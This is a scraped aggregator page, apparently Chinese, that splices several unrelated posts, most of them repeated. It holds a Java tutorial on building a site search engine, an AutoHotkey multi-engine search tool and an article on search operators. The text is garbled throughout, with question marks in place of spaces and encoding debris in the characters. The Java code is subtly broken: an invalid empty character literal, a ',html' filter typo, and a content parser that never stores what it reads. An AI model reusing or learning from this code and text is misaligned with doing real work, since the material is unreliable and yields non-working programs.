/>??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}
來(lái)源:/m0_57315623/article/details/123829698
推薦:
PS:因為公眾號平臺更改了推送規則,如果不想錯過(guò)內容,記得讀完點(diǎn)一下“在看”,加個(gè)“星標”,這樣每次新文章推送才會(huì )第一時(shí)間出現在你的訂閱列表里。點(diǎn)“在看”支持我們吧! 查看全部
寫(xiě)一個(gè)搜索引擎系統(Java版)
咋們如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,內屬于全站搜索,我們這里做一個(gè)站內搜索。這個(gè)還是可以的,就類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。
這里我們可以使用Python,或者下載文檔壓縮包。這里我們下包把,快多了。本來(lái)想搞一個(gè)英雄聯(lián)盟的,實(shí)在找不見(jiàn),要是后續有老鐵找到可以分享一下。
建議大家別爬蟲(chóng)(要不然被告了,不過(guò)我們學(xué)校的官網(wǎng)倒是可以隨便爬,我們當時(shí)就是拿這個(gè)練手的)
為什么要用索引呢?
因為爬的數據太多了,不索引,難道我去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二.模塊劃分1.索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2.搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3.web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三. 怎么實(shí)現分詞
分詞的原理
1.基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2.基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br />import?org.ansj.splitWord.analysis.ToAnalysis;<br />import?java.util.List;<br />public?class?TastAnsj?{<br />????public?static?void?main(String[]?args)?{<br />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br />????????for?(Term?term?:?terms)?{<br />????????????System.out.println(term.getName());<br />????????}<br />????}<br />}<br />
四.文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br />import?java.util.ArrayList;<br /><br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}<br />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br />?????if(f.getAbsolutePath().endsWith(",html"))<br />?????fileList.add(f);<br />}<br />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />
這一模塊總的代碼塊如下:
import?java.io.File;<br />import?java.io.FileNotFoundException;<br />import?java.io.FileReader;<br />import?java.io.IOException;<br />import?java.util.ArrayList;<br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br />??????????for?(File?f:fileList){<br />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br />??????????????parseHTML(f);<br />??????????}<br />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br />??????}<br /><br /><br />????private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />????private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />????private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int,不是char<br />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />????private?void?parseHTML?(File?f){<br />????????//解析出標題<br />??????????String?title=parseTitle(f);<br />????????//解析出對應的url<br />??????????String?url=parseUrl(f);<br />????????//解析出對應的正文<br />????????try?{<br />????????????String?content=parseContent(f);<br />????????}?catch?(IOException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}
來(lái)源:/m0_57315623/article/details/123829698
推薦:
PS:因為公眾號平臺更改了推送規則,如果不想錯過(guò)內容,記得讀完點(diǎn)一下“在看”,加個(gè)“星標”,這樣每次新文章推送才會(huì )第一時(shí)間出現在你的訂閱列表里。點(diǎn)“在看”支持我們吧!
聚合搜索工具升級版源碼
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 60 次瀏覽 ? 2022-05-04 01:11
學(xué)會(huì )搜索真的很重要,能用搜索引擎解決的就沒(méi)必要問(wèn)來(lái)問(wèn)去,所以這個(gè)小工具是給還不怎么會(huì )搜索的同學(xué)用的.
演示
之前發(fā)的小工具的升級版,自用的時(shí)候用一個(gè)類(lèi)似控制臺的軟件來(lái)激活,或者自己定義快捷鍵
同步ahk社區的文章發(fā)布
主要功能,
1.多個(gè)搜索引擎可選批量搜索
2.開(kāi)啟時(shí)自動(dòng)添加剪切板作為關(guān)鍵詞
3.提示選擇不常見(jiàn)的搜索引擎高級語(yǔ)法,再也不用臨時(shí)查一下語(yǔ)法怎么用了
3.專(zhuān)門(mén)對搜索編程語(yǔ)法加入了一些強化,目前僅有加入編程語(yǔ)言后綴這個(gè)功能,之后再加
4.快速添加常用網(wǎng)站內搜索
5.后續會(huì )添加快速添加常用網(wǎng)站目錄以及對編程相關(guān)內容的搜索強化,以及一些編輯強化的功能吧,
源碼
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索語(yǔ)法添加 g搜索語(yǔ)法,標題|內容|鏈接錨點(diǎn)|網(wǎng)站|url|特定類(lèi)型文件|關(guān)聯(lián)|信息|搜索語(yǔ)法提示|| Gui add, DropDownList,x+5 w120 v網(wǎng)站模板添加 g網(wǎng)站模板,政府|stackoverflow|指定網(wǎng)站模板||<br /> Gui add, DropDownList,x+5 w120 v編程語(yǔ)言后綴 g編程語(yǔ)言,js|python|c|ahk|編程語(yǔ)言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索語(yǔ)法: Gui submit, NoHide 搜索語(yǔ)法:="" switch 搜索語(yǔ)法添加 { case "標題": 搜索語(yǔ)法:=" intitle:" case "內容": 搜索語(yǔ)法:=" intext:" case "鏈接錨點(diǎn)": 搜索語(yǔ)法:=" inanchor:login" case "網(wǎng)站": 搜索語(yǔ)法:=" site:" case "url": 搜索語(yǔ)法:=" inurl:" case "鏈接特定url": 搜索語(yǔ)法:=" link:www.baidu.com" case "特定類(lèi)型文件": 搜索語(yǔ)法:=" filetype:" case "關(guān)聯(lián)": 搜索語(yǔ)法:=" related:" case "信息": 搜索語(yǔ)法:=" info:" } AppendEdit(hedit, 搜索語(yǔ)法) Return<br /> 網(wǎng)站模板: Gui submit, NoHide 網(wǎng)站模板:="" switch 網(wǎng)站模板添加 { case "政府": 網(wǎng)站模板:=" site:gov.cn" case "stackoverflow": 網(wǎng)站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 網(wǎng)站模板) Return<br /> 編程語(yǔ)言: Gui submit, NoHide 編程語(yǔ)言:="" switch 編程語(yǔ)言后綴 { case "js": 編程語(yǔ)言:=" js" case "python": 編程語(yǔ)言:=" python" case "c": 編程語(yǔ)言:=" c" case "ahk": 編程語(yǔ)言:=" ahk" } AppendEdit(hedit, 編程語(yǔ)言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL } 查看全部
聚合搜索工具升級版源碼
學(xué)會(huì )搜索真的很重要,能用搜索引擎解決的就沒(méi)必要問(wèn)來(lái)問(wèn)去,所以這個(gè)小工具是給還不怎么會(huì )搜索的同學(xué)用的.
演示
之前發(fā)的小工具的升級版,自用的時(shí)候用一個(gè)類(lèi)似控制臺的軟件來(lái)激活,或者自己定義快捷鍵
同步ahk社區的文章發(fā)布
主要功能,
1.多個(gè)搜索引擎可選批量搜索
2.開(kāi)啟時(shí)自動(dòng)添加剪切板作為關(guān)鍵詞
3.提示選擇不常見(jiàn)的搜索引擎高級語(yǔ)法,再也不用臨時(shí)查一下語(yǔ)法怎么用了
3.專(zhuān)門(mén)對搜索編程語(yǔ)法加入了一些強化,目前僅有加入編程語(yǔ)言后綴這個(gè)功能,之后再加
4.快速添加常用網(wǎng)站內搜索
5.后續會(huì )添加快速添加常用網(wǎng)站目錄以及對編程相關(guān)內容的搜索強化,以及一些編輯強化的功能吧,
源碼
<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索語(yǔ)法添加 g搜索語(yǔ)法,標題|內容|鏈接錨點(diǎn)|網(wǎng)站|url|特定類(lèi)型文件|關(guān)聯(lián)|信息|搜索語(yǔ)法提示|| Gui add, DropDownList,x+5 w120 v網(wǎng)站模板添加 g網(wǎng)站模板,政府|stackoverflow|指定網(wǎng)站模板||<br /> Gui add, DropDownList,x+5 w120 v編程語(yǔ)言后綴 g編程語(yǔ)言,js|python|c|ahk|編程語(yǔ)言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索語(yǔ)法: Gui submit, NoHide 搜索語(yǔ)法:="" switch 搜索語(yǔ)法添加 { case "標題": 搜索語(yǔ)法:=" intitle:" case "內容": 搜索語(yǔ)法:=" intext:" case "鏈接錨點(diǎn)": 搜索語(yǔ)法:=" inanchor:login" case "網(wǎng)站": 搜索語(yǔ)法:=" site:" case "url": 搜索語(yǔ)法:=" inurl:" case "鏈接特定url": 搜索語(yǔ)法:=" link:www.baidu.com" case "特定類(lèi)型文件": 搜索語(yǔ)法:=" filetype:" case "關(guān)聯(lián)": 搜索語(yǔ)法:=" related:" case "信息": 搜索語(yǔ)法:=" info:" } AppendEdit(hedit, 搜索語(yǔ)法) Return<br /> 網(wǎng)站模板: Gui submit, NoHide 網(wǎng)站模板:="" switch 網(wǎng)站模板添加 { case "政府": 網(wǎng)站模板:=" site:gov.cn" case "stackoverflow": 網(wǎng)站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 網(wǎng)站模板) Return<br /> 編程語(yǔ)言: Gui submit, NoHide 編程語(yǔ)言:="" switch 編程語(yǔ)言后綴 { case "js": 編程語(yǔ)言:=" js" case "python": 編程語(yǔ)言:=" python" case "c": 編程語(yǔ)言:=" c" case "ahk": 編程語(yǔ)言:=" ahk" } AppendEdit(hedit, 編程語(yǔ)言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL }
搜商 | 4個(gè)搜索命令,助你事半功倍
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 69 次瀏覽 ? 2022-05-02 19:52
網(wǎng)絡(luò )時(shí)代的到來(lái)給我們提供了豐富的信息資源,在翻譯的過(guò)程中,我們經(jīng)常會(huì )通過(guò)搜索引擎來(lái)了解背景知識、查證術(shù)語(yǔ)。
然而,從海量的網(wǎng)絡(luò )信息中準確獲取所需內容也成為新的難點(diǎn)。你是否遇到過(guò)花費大量時(shí)間卻仍找不到滿(mǎn)意結果的情況?
以下4個(gè)搜索技巧,能幫助我們提高效率,快速精準地檢索到想要的信息。
雙引號
通過(guò)這一指令,可進(jìn)行完全匹配檢索。
有時(shí),搜索引擎會(huì )對我們輸入的檢索詞進(jìn)行拆分,導致搜索結果不能如我們所愿。比如,當我們輸入翻譯技術(shù)教育,會(huì )出現只包含部分關(guān)鍵詞翻譯技術(shù)的結果,甚至還有一些不相關(guān)的內容。
這種情況下,我們可以用雙引號將檢索詞括起來(lái),將其作為一個(gè)整體。
比如,輸入"翻譯技術(shù)教育",搜索結果中就會(huì )包含雙引號中出現的所有字詞,連順序也完全匹配。
我們可以從以下兩張圖片中,看到不加雙引號與加雙引號的區別。加上雙引號后,相關(guān)結果從原來(lái)的2060萬(wàn)個(gè)減少到了68個(gè),大大提高了精確度。
關(guān)鍵詞+空格+site:+網(wǎng)址
通過(guò)這一指令,可以在指定網(wǎng)站上搜索相應的關(guān)鍵詞。
比如,輸入 新能源公交車(chē)輛 site:,其結果便是中國日報網(wǎng)上關(guān)于“新能源公交車(chē)輛”的內容。
另外,如果我們想在政府官網(wǎng)或學(xué)校官網(wǎng)等某一類(lèi)網(wǎng)站搜索相關(guān)信息,可以在site:后加上域名后綴,比如site:.或者site:.。
關(guān)鍵詞+空格+filetype:+文件格式
通過(guò)這一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的資源。
比如,輸入 translation technology filetype:pdf,搜索結果就是包含translation technology這個(gè)關(guān)鍵詞的所有pdf文件。
intitle:+關(guān)鍵詞
通過(guò)這一指令,可以限定所檢索的關(guān)鍵詞必須出現在搜索結果的標題中。
比如,輸入intitle:翻譯技術(shù)的應用,就可以過(guò)濾掉那些沒(méi)有在標題中提及關(guān)鍵詞的結果。
學(xué)習搜索技巧,提高“搜商”,能讓我們更好更快地解決問(wèn)題,不至于淹沒(méi)在互聯(lián)網(wǎng)的海量信息之中??炜煸嚻饋?lái)吧!
END
【往期回顧】
微信公眾號
語(yǔ)言服務(wù)行業(yè) 查看全部
搜商 | 4個(gè)搜索命令,助你事半功倍
網(wǎng)絡(luò )時(shí)代的到來(lái)給我們提供了豐富的信息資源,在翻譯的過(guò)程中,我們經(jīng)常會(huì )通過(guò)搜索引擎來(lái)了解背景知識、查證術(shù)語(yǔ)。
然而,從海量的網(wǎng)絡(luò )信息中準確獲取所需內容也成為新的難點(diǎn)。你是否遇到過(guò)花費大量時(shí)間卻仍找不到滿(mǎn)意結果的情況?
以下4個(gè)搜索技巧,能幫助我們提高效率,快速精準地檢索到想要的信息。
雙引號
通過(guò)這一指令,可進(jìn)行完全匹配檢索。
有時(shí),搜索引擎會(huì )對我們輸入的檢索詞進(jìn)行拆分,導致搜索結果不能如我們所愿。比如,當我們輸入翻譯技術(shù)教育,會(huì )出現只包含部分關(guān)鍵詞翻譯技術(shù)的結果,甚至還有一些不相關(guān)的內容。
這種情況下,我們可以用雙引號將檢索詞括起來(lái),將其作為一個(gè)整體。
比如,輸入"翻譯技術(shù)教育",搜索結果中就會(huì )包含雙引號中出現的所有字詞,連順序也完全匹配。
我們可以從以下兩張圖片中,看到不加雙引號與加雙引號的區別。加上雙引號后,相關(guān)結果從原來(lái)的2060萬(wàn)個(gè)減少到了68個(gè),大大提高了精確度。
關(guān)鍵詞+空格+site:+網(wǎng)址
通過(guò)這一指令,可以在指定網(wǎng)站上搜索相應的關(guān)鍵詞。
比如,輸入 新能源公交車(chē)輛 site:,其結果便是中國日報網(wǎng)上關(guān)于“新能源公交車(chē)輛”的內容。
另外,如果我們想在政府官網(wǎng)或學(xué)校官網(wǎng)等某一類(lèi)網(wǎng)站搜索相關(guān)信息,可以在site:后加上域名后綴,比如site:.或者site:.。
關(guān)鍵詞+空格+filetype:+文件格式
通過(guò)這一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的資源。
比如,輸入 translation technology filetype:pdf,搜索結果就是包含translation technology這個(gè)關(guān)鍵詞的所有pdf文件。
intitle:+關(guān)鍵詞
通過(guò)這一指令,可以限定所檢索的關(guān)鍵詞必須出現在搜索結果的標題中。
比如,輸入intitle:翻譯技術(shù)的應用,就可以過(guò)濾掉那些沒(méi)有在標題中提及關(guān)鍵詞的結果。
學(xué)習搜索技巧,提高“搜商”,能讓我們更好更快地解決問(wèn)題,不至于淹沒(méi)在互聯(lián)網(wǎng)的海量信息之中??炜煸嚻饋?lái)吧!
END
【往期回顧】
微信公眾號
語(yǔ)言服務(wù)行業(yè)